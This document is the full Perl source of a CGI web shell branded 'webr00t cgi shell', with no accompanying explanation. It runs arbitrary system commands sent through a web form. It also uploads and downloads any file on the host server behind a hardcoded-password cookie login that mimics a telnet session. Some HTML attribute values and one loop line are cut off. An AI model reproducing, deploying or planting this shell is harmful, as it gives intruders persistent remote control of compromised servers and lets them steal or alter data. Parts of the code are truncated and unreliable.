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cgg.pl
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cgg.pl
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# thenurhabib
$CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
$CmdPwd = ($WinNT ? "cd" : "pwd");
$PathSep = ($WinNT ? "\\" : "/");
$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
sub ReadParse
{
local (*in) = @_ if @_;
local ($i, $loc, $key, $val);
$MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
if($ENV{'REQUEST_METHOD'} eq "GET")
{
$in = $ENV{'QUERY_STRING'};
}
elsif($ENV{'REQUEST_METHOD'} eq "POST")
{
binmode(STDIN) if $MultipartFormData & $WinNT;
read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
}
if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
{
$Boundary = '--'.$1;
@list = split(/$Boundary/, $in);
$HeaderBody = $list[1];
$HeaderBody =~ /\r\n\r\n|\n\n/;
$Header = $`;
$Body = $';
$Body =~ s/\r\n$//;
$in{'filedata'} = $Body;
$Header =~ /filename=\"(.+)\"/;
$in{'f'} = $1;
$in{'f'} =~ s/\"//g;
$in{'f'} =~ s/\s//g;
for($i=2; $list[$i]; $i++)
{
$list[$i] =~ s/^.+name=$//;
$list[$i] =~ /\"(\w+)\"/;
$key = $1;
$val = $';
$val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
$val =~ s/%(..)/pack("c", hex($1))/ge;
$in{$key} = $val;
}
}
else
{
@in = split(/&/, $in);
foreach $i (0 .. $
{
$in[$i] =~ s/\+/ /g;
($key, $val) = split(/=/, $in[$i], 2);
$key =~ s/%(..)/pack("c", hex($1))/ge;
$val =~ s/%(..)/pack("c", hex($1))/ge;
$in{$key} .= "\0" if (defined($in{$key}));
$in{$key} .= $val;
}
}
}
sub PrintPageHeader
{
$EncodedCurrentDir = $CurrentDir;
$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
print "Content-type: text/html\n\n";
print <<END;
<html>
<head>
<title>webr00t cgi shell</title>
$HtmlMetaHeader
<meta name="keywords" content="W£ßRooT,webr00t,webr00t.info,hacker">
<meta name="description" content="W£ßRooT,webr00t,webr00t.info,hacker">
</head>
<body onLoad="document.f.@_.focus()" bgcolor="
<table border="1" width="100%" cellspacing="0" cellpadding="2">
<tr>
<td bgcolor="
<b><font size="2">
<td bgcolor="
<b style="color:black;background-color:
</tr>
<tr>
<td colspan="2" bgcolor="
<a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir"><font color="
<a href="$ScriptLocation?a=download&d=$EncodedCurrentDir"><font color="
<a href="$ScriptLocation?a=logout"><font color="
</font></td>
</tr>
</table>
<font size="3">
END
}
sub PrintLoginScreen
{
$Message = q$<pre><img border="0" src="http://img810.imageshack.us/img810/8043/webr00t12.png"></pre><br><br></font><h1>Sifre=webr00t</h1>
$;
print <<END;
<code>
Trying $ServerName...<br>
Connected to $ServerName<br>
Escape character is ^]
<code>$Message
END
}
sub PrintLoginFailedMessage
{
print <<END;
<code>
<br>login: admin<br>
password:<br>
Login incorrect<br><br>
</code>
END
}
sub PrintLoginForm
{
print <<END;
<code>
<form name="f" method="POST" action="$ScriptLocation">
<input type="hidden" name="a" value="login">
</font>
<font size="3">
login: <b style="color:black;background-color:
password:</font><font color="
<input type="submit" value="Enter">
</form>
</code>
END
}
sub PrintPageFooter
{
print "</font></body></html>";
}
sub GetCookies
{
@httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
foreach $cookie(@httpcookies)
{
($id, $val) = split(/=/, $cookie);
$Cookies{$id} = $val;
}
}
sub PrintLogoutScreen
{
print "<code>Connection closed by foreign host.<br><br></code>";
}
sub PerformLogout
{
print "Set-Cookie: SAVEDPWD=;\n";
&PrintPageHeader("p");
&PrintLogoutScreen;
&PrintLoginScreen;
&PrintLoginForm;
&PrintPageFooter;
}
sub PerformLogin
{
if($LoginPassword eq $Password)
{
print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
&PrintPageHeader("c");
&PrintCommandLineInputForm;
&PrintPageFooter;
}
else
{
&PrintPageHeader("p");
&PrintLoginScreen;
if($LoginPassword ne "")
{
&PrintLoginFailedMessage;
}
&PrintLoginForm;
&PrintPageFooter;
}
}
sub PrintCommandLineInputForm
{
$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
print <<END;
<code>
<form name="f" method="POST" action="$ScriptLocation">
<input type="hidden" name="a" value="command">
<input type="hidden" name="d" value="$CurrentDir">
$Prompt
<input type="text" name="c">
<input type="submit" value="Enter">
</form>
</code>
END
}
sub PrintFileDownloadForm
{
$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
print <<END;
<code>
<form name="f" method="POST" action="$ScriptLocation">
<input type="hidden" name="d" value="$CurrentDir">
<input type="hidden" name="a" value="download">
$Prompt download<br><br>
Filename: <input type="text" name="f" size="35"><br><br>
Download: <input type="submit" value="Begin">
</form>
</code>
END
}
sub PrintFileUploadForm
{
$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
print <<END;
<code>
<form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
$Prompt upload<br><br>
Filename: <input type="file" name="f" size="35"><br><br>
Options: <input type="checkbox" name="o" value="overwrite">
Overwrite if it Exists<br><br>
Upload: <input type="submit" value="Begin">
<input type="hidden" name="d" value="$CurrentDir">
<input type="hidden" name="a" value="upload">
</form>
</code>
END
}
sub CommandTimeout
{
if(!$WinNT)
{
alarm(0);
print <<END;
</xmp>
<code>
Command exceeded maximum time of $CommandTimeoutDuration second(s).
<br>Killed it!
END
&PrintCommandLineInputForm;
&PrintPageFooter;
exit;
}
}
sub ExecuteCommand
{
if($RunCommand =~ m/^\s*cd\s+(.+)/)
{
$OldDir = $CurrentDir;
$Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
chop($CurrentDir = `$Command`);
&PrintPageHeader("c");
$Prompt = $WinNT ? "$OldDir> " : "[admin\@$ServerName $OldDir]\$ ";
print "$Prompt $RunCommand";
}
else
{
&PrintPageHeader("c");
$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
print "$Prompt $RunCommand<xmp>";
$Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
if(!$WinNT)
{
$SIG{'ALRM'} = \&CommandTimeout;
alarm($CommandTimeoutDuration);
}
if($ShowDynamicOutput)
{
$|=1;
$Command .= " |";
open(CommandOutput, $Command);
while(<CommandOutput>)
{
$_ =~ s/(\n|\r\n)$//;
print "$_\n";
}
$|=0;
}
else
{
print `$Command`;
}
if(!$WinNT)
{
alarm(0);
}
print "</xmp>";
}
&PrintCommandLineInputForm;
&PrintPageFooter;
}
sub PrintDownloadLinkPage
{
local($FileUrl) = @_;
if(-e $FileUrl)
{
$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
$DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
$HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
&PrintPageHeader("c");
print <<END;
<code>
Sending File $TransferFile...<br>
If the download does not start automatically,
<a href="$DownloadLink">Click Here</a>.
END
&PrintCommandLineInputForm;
&PrintPageFooter;
}
else
{
&PrintPageHeader("f");
print "Failed to download $FileUrl: $!";
&PrintFileDownloadForm;
&PrintPageFooter;
}
}
sub SendFileToBrowser
{
local($SendFile) = @_;
if(open(SENDFILE, $SendFile))
{
if($WinNT)
{
binmode(SENDFILE);
binmode(STDOUT);
}
$FileSize = (stat($SendFile))[7];
($Filename = $SendFile) =~ m!([^/^\\]*)$!;
print "Content-Type: application/x-unknown\n";
print "Content-Length: $FileSize\n";
print "Content-Disposition: attachment; filename=$1\n\n";
print while(<SENDFILE>);
close(SENDFILE);
}
else
{
&PrintPageHeader("f");
print "Failed to download $SendFile: $!";
&PrintFileDownloadForm;
&PrintPageFooter;
}
}
sub BeginDownload
{
if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
(!$WinNT & ($TransferFile =~ m/^\//)))
{
$TargetFile = $TransferFile;
}
else
{
chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
$TargetFile .= $PathSep.$TransferFile;
}
if($Options eq "go")
{
&SendFileToBrowser($TargetFile);
}
else
{
&PrintDownloadLinkPage($TargetFile);
}
}
sub UploadFile
{
if($TransferFile eq "")
{
&PrintPageHeader("f");
&PrintFileUploadForm;
&PrintPageFooter;
return;
}
&PrintPageHeader("c");
print "Uploading $TransferFile to $CurrentDir...<br>";
chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
$TransferFile =~ m!([^/^\\]*)$!;
$TargetName .= $PathSep.$1;
$TargetFileSize = length($in{'filedata'});
if(-e $TargetName && $Options ne "overwrite")
{
print "Failed: Destination file already exists.<br>";
}
else
{
if(open(UPLOADFILE, ">$TargetName"))
{
binmode(UPLOADFILE) if $WinNT;
print UPLOADFILE $in{'filedata'};
close(UPLOADFILE);
print "Transfered $TargetFileSize Bytes.<br>";
print "File Path: $TargetName<br>";
}
else
{
print "Failed: $!<br>";
}
}
print "";
&PrintCommandLineInputForm;
&PrintPageFooter;
}
sub DownloadFile
{
if($TransferFile eq "")
{
&PrintPageHeader("f");
&PrintFileDownloadForm;
&PrintPageFooter;
return;
}
if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
(!$WinNT & ($TransferFile =~ m/^\//)))
{
$TargetFile = $TransferFile;
}
else
{
chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
$TargetFile .= $PathSep.$TransferFile;
}
if($Options eq "go")
{
&SendFileToBrowser($TargetFile);
}
else
{
&PrintDownloadLinkPage($TargetFile);
}
}
&ReadParse;
&GetCookies;
$ScriptLocation = $ENV{'SCRIPT_NAME'};
$ServerName = $ENV{'SERVER_NAME'};
$LoginPassword = $in{'p'};
$RunCommand = $in{'c'};
$TransferFile = $in{'f'};
$Options = $in{'o'};
$Action = $in{'a'};
$Action = "login" if($Action eq "");
$CurrentDir = $in{'d'};
chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
$LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
if($Action eq "login" || !$LoggedIn)
{
&PerformLogin;
}
elsif($Action eq "command")
{
&ExecuteCommand;
}
elsif($Action eq "upload")
{
&UploadFile;
}
elsif($Action eq "download")
{
&DownloadFile;
}
elsif($Action eq "logout")
{
&PerformLogout;
}